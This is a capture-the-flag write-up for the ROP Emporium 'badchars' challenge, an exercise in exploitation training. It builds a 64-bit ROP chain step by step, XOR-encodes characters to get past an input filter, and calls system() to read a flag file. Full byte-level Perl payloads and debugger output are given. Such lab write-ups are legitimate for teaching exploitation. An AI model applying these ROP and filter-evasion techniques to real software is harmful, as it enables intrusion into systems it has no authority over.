ROP Emporium CTF 5/7 badchars
This challenge has a different pwnme
function to the previous ones.
The stack buffer overflow part is similar (0x200
bytes).
$ perl -e 'print(("\x00" x 0x28) . "aaaaa")' |
gdb ./badchars --batch -ex run
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
>
Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? ()
However the initial fgets
stores the input in a correctly sized heap buffer and filters certain characters with checkBadchars()
. Only after that the data is memcpy
ed to the small stack buffer and causing an overflow.
As with all Rop Emporium challenges, we can get a leg up by searching for “useful” symbols.
$ r2 ./badchars -qc "is" | grep useful
041 0x000009df 0x004009df LOCAL FUNC 17 usefulFunction
079 0x00000b30 0x00400b30 GLOBAL NOTYPE 0 usefulGadgets
The usefulFunction()
merely contains a call to system()
.
$ r2 ./badchars -qc "aaa; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x004009df push rbp
| 0x004009e0 mov rbp, rsp
| 0x004009e3 mov edi, str.bin_ls
| 0x004009e8 call sym.imp.system
| 0x004009ed nop
| 0x004009ee pop rbp
\ 0x004009ef ret
$ r2 ./badchars -qc "pd 12 @ 0x00400b30"
;-- usefulGadgets:
0x00400b30 xor byte [r15], r14b
0x00400b33 ret
0x00400b34 mov qword [r13], r12
0x00400b38 ret
0x00400b39 pop rdi
0x00400b3a ret
0x00400b3b pop r12
0x00400b3d pop r13
0x00400b3f ret
0x00400b40 pop r14
0x00400b42 pop r15
0x00400b44 ret
So similar to previous challenges, we need to smuggle our shell command into a writable region of memory (start of .bss
is good), load that address into rdi
register and then jmp
to the call to system()
. The twist this time is that we need to encode the “bad” characters in the exploit string somehow so they don’t get filtered and then decode them once they are written to the .bss
buffer. We can use the xor
gadget for that.
The first part of our exploit, to smuggle the shell command into writable memory looks like this.
0x00000000400b3b # pop r12, pop r13
0x616c6620746163 # "cat fla" (src)
0x00000000601080 # .bss (dst)
0x00000000400b34 # mov qword [r13], r12
0x00000000400b3b # pop r12, pop r13
0x00007478742e67 # "g.txt" (src)
0x00000000601087 # .bss +7 (dst)
0x00000000400b34 # mov qword [r13], r12
$ perl -e 'print(("\x00" x 0x28) .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\x63\x61\x74\x20\x66\x6c\x61\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00" .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\x67\x2e\x74\x78\x74\x00\x00\x00" .
"\x87\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00")' |
gdb ./badchars --batch -ex run -ex "x/s 0x00000000601080"
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 <stdout@@GLIBC_2.2.5>: "\353at\353\353lag.txt"
Examining the destination buffer as a string with GDB shows some of the characters have been filtered as expected.
Since all ASCII values are between 0x0
-0x7f
, an easy way to encode them is to set the highest bit (0x80
) on input and then take it away with xor
.
The filtered letters are 'c'
(0x63
), ' '
(0x20
) and 'f'
(0x66
).
printf %02x $((0x63 | 0x80)) => 0xe3
printf %02x $((0x20 | 0x80)) => 0xa0
printf %02x $((0x66 | 0x80)) => 0xe6
So
0x616c6620746163 # "cat fla"
0x00007478742e67 # "g.txt"
becomes
0x616ce6a07461e3
0x00007478742e67
And to decode the 3 “bad” characters we add
0x00000000400b40 # pop r14, pop r15
0x00000000000080 # xor character
0x00000000601080 # .bss + 0 ('c')
0x00000000400b30 # xor byte [r15], r14b
0x00000000400b42 # pop r15
0x00000000601083 # .bss + 3 (' ')
0x00000000400b30 # xor byte [r15], r14b
0x00000000400b42 # pop r15
0x00000000601084 # .bss + 4 ('f')
0x00000000400b30 # xor byte [r15], r14b
$ perl -e 'print(("\x00" x 0x28) .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\xe3\x61\x74\xa0\xe6\x6c\x61\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00" .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\x67\x2e\x74\x78\x74\x00\x00\x00" .
"\x87\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00" .
"\x40\x0b\x40\x00\x00\x00\x00\x00" .
"\x80\x00\x00\x00\x00\x00\x00\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00" .
"\x42\x0b\x40\x00\x00\x00\x00\x00" .
"\x83\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00" .
"\x42\x0b\x40\x00\x00\x00\x00\x00" .
"\x84\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00")' |
gdb ./badchars --batch -ex run -ex "x/s 0x00000000601080"
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
>
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 <stdout@@GLIBC_2.2.5>: "cat flag.txt"
Now we have bypassed the filter and have the shell command in memory we only need to load it into the rdi
register (first argument for a function) and jmp
to the call to system()
.
0x00000000400b39 # pop rdi
0x00000000601080 # .bss
0x000000004009e8 # call sym.imp.system
$ perl -e 'print(("\x00" x 0x28) .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\xe3\x61\x74\xa0\xe6\x6c\x61\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00" .
"\x3b\x0b\x40\x00\x00\x00\x00\x00" .
"\x67\x2e\x74\x78\x74\x00\x00\x00" .
"\x87\x10\x60\x00\x00\x00\x00\x00" .
"\x34\x0b\x40\x00\x00\x00\x00\x00" .
"\x40\x0b\x40\x00\x00\x00\x00\x00" .
"\x80\x00\x00\x00\x00\x00\x00\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00" .
"\x42\x0b\x40\x00\x00\x00\x00\x00" .
"\x83\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00" .
"\x42\x0b\x40\x00\x00\x00\x00\x00" .
"\x84\x10\x60\x00\x00\x00\x00\x00" .
"\x30\x0b\x40\x00\x00\x00\x00\x00" .
"\x39\x0b\x40\x00\x00\x00\x00\x00" .
"\x80\x10\x60\x00\x00\x00\x00\x00" .
"\xe8\x09\x40\x00\x00\x00\x00\x00")' | ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault